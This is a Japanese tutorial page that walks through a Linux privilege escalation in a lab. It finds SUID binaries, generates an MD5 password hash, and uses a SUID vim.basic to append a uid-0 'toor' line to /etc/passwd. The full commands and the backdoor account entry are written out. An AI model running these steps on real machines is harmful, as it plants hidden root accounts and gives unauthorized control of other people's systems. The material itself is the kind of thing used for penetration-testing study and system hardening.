Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

Linux は suid vim.basic ファイルを使用して権限昇格を実現します。

カリで再現

まず、必要なvim.basicファイルにsuid権限を設定します。

chmod u+s /usr/bin/vim.basic

まず、通常の権限を持つユーザーをadduser test1する

今は権限昇格に適した環境です

次のコマンドを使用して、suid権限を持つファイルを見つけることができます。

/ -user root -perm -4000 -print 2>/dev/null を検索します
/ -perm -u=s -type f 2>/dev/null を検索します
/ -user root -perm -4000 -exec ls -ldb {} \; を検索します。

権限昇格に使用できるファイルは次のとおりです。

  • ナノマップ
  • ヴィム
  • 探す
  • バッシュ
  • もっと
  • 少ない
  • ナノ
  • cp

vimを使用して権限を昇格するアイデアは、etc/passwdファイルを変更し、自分自身にルート権限を持つユーザーを追加することです。

パスワードファイルのユーザー形式は次のとおりです: ユーザー名:パスワード:uid:gid:コメント:ホームディレクトリ:ユーザーのシェル

ここでルートユーザーのフォーマットを見ることができます

ルート:x:0:0:root:/root:/bin/bash

(実際のパスワードは /etc/shadow ファイルに保存されるため、パスワード部分は x です)

パスワードを生成します: openssl passwd -1 –salt asd 123 を使用します (ここでは L ではなく -1 (数字の 1) です)

パスワードファイルに直接書き込みます。

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

vim /etc/passwdで変更することはできますが、保存するときにE212が表示され、変更する権限がないと表示され、保存できません。

この時点で、前に見つけた vim.basic ファイルを使用して実行する必要があります。このプログラムには suid 権限があります。間違いなく編集可能

vim.basic /etc/passwd

これを使用してファイルを開き、変更して正常に保存します

追加されたことがわかり、su toor、パスワード123に切り替えて、IDで権限を確認します。

ルート権限

chmod u+s /usr/bin/vim.basic

以上がこの記事の全内容です。皆様の勉強のお役に立てれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。

以下もご興味があるかもしれません:
  • Trash-Cli: Linux のコマンドラインごみ箱ツール
  • Linux のごみ箱スクリプトを作成するための 101 個のスクリプト
  • Linux での中国語入力方法の問題を素早く解決する
  • MySQL を使用してポート 3306 を開いたり変更したり、Ubuntu/Linux 環境でアクセス許可を開く
  • Linux システムで Vim を使用してリモート ファイルを読み書きするコマンドの詳細な説明
  • Linux サーバーのグラフィック カードのクラッシュの解決策
  • Linux のごみ箱メカニズムの実装プロセスと使用方法の詳細な説明

<<:  jsでの位置計算を徹底的に理解するのに役立つ記事

>>:  MySQLの複合インデックス方式の詳細な説明

推薦する

Centos7 システム上の nginx サーバーで Phalcon 環境を構築する方法の詳細な説明

この記事では、centos7 システムの nginx サーバーの下に phalcon 環境を構築する...

MySQL トリガーの使用方法と利点と欠点の紹介

目次序文1. トリガーの概要2. トリガーの作成2.1 トリガー構文の作成2.2 コード例3. トリ...

素晴らしい CSS ナビゲーション バーの下線効果

中国初のカッター github.com/chokcocoまず、ここに画像があります。純粋な CSS ...

MySQL ディープページング問題の解決の実践記録

目次序文ディープページングを制限すると遅くなるのはなぜですか?サブクエリによる最適化B+ツリー構造の...

Alibaba Cloud Centos7.3 インストール mysql5.7.18 rpm インストール チュートリアル

MariaDBをアンインストールするCentOS7 ではデフォルトで MySQL の代わりに Mar...

MySQL で null を置き換える IFNULL() および COALESCE() 関数の詳細な説明

MySQLではisnull()関数をnull値の代わりとして使用することはできません。次のように:ま...

CentOS7 は yum を使用して mysql 8.0.12 をインストールします

この記事では、centos7にyumを使用してMySQL 8.0.12をインストールする詳細な手順を...

Vueは双方向データバインディングを実装します

この記事の例では、双方向データバインディングを実装するためのVueの具体的なコードを参考までに共有し...

Raspberry Pi msmtp と mutt のインストールと設定のチュートリアル

1. muttをインストールするsudo apt-get install mutt 2. msmtp...

JSプロトタイプとプロトタイプチェーンについての簡単な説明

目次1. プロトタイプ2. プロトタイプポインタ: __proto__要約する1. プロトタイプJa...

docker を使用して複数のネットワーク インターフェースを持つコンテナーを起動する方法の例

コンテナにネットワークインターフェースを追加する1 デフォルトのネットワークモードでコンテナを実行す...

Linux (CentOS) システムで MySQL データベース ディレクトリの場所を変更する方法

CentOS システムで MySQL データベース ディレクトリの場所を変更する方法1. まず、My...

MySQL インデックス カバレッジの例の分析

この記事では、MySQL インデックス カバレッジについて例を挙げて説明します。ご参考までに、詳細は...

SQL ストアド プロシージャの取得、データ取得、プロセス分析

この記事は主に、SQL のストアド プロシージャから返されたデータを取得するプロセスの分析を紹介しま...

Linux ネットワークプログラミング機能の簡単な分析

目次1.ソケットを作成する2. ソケットをバインドする3. 聞き手を作る。聞く4. 接続が受け入れら...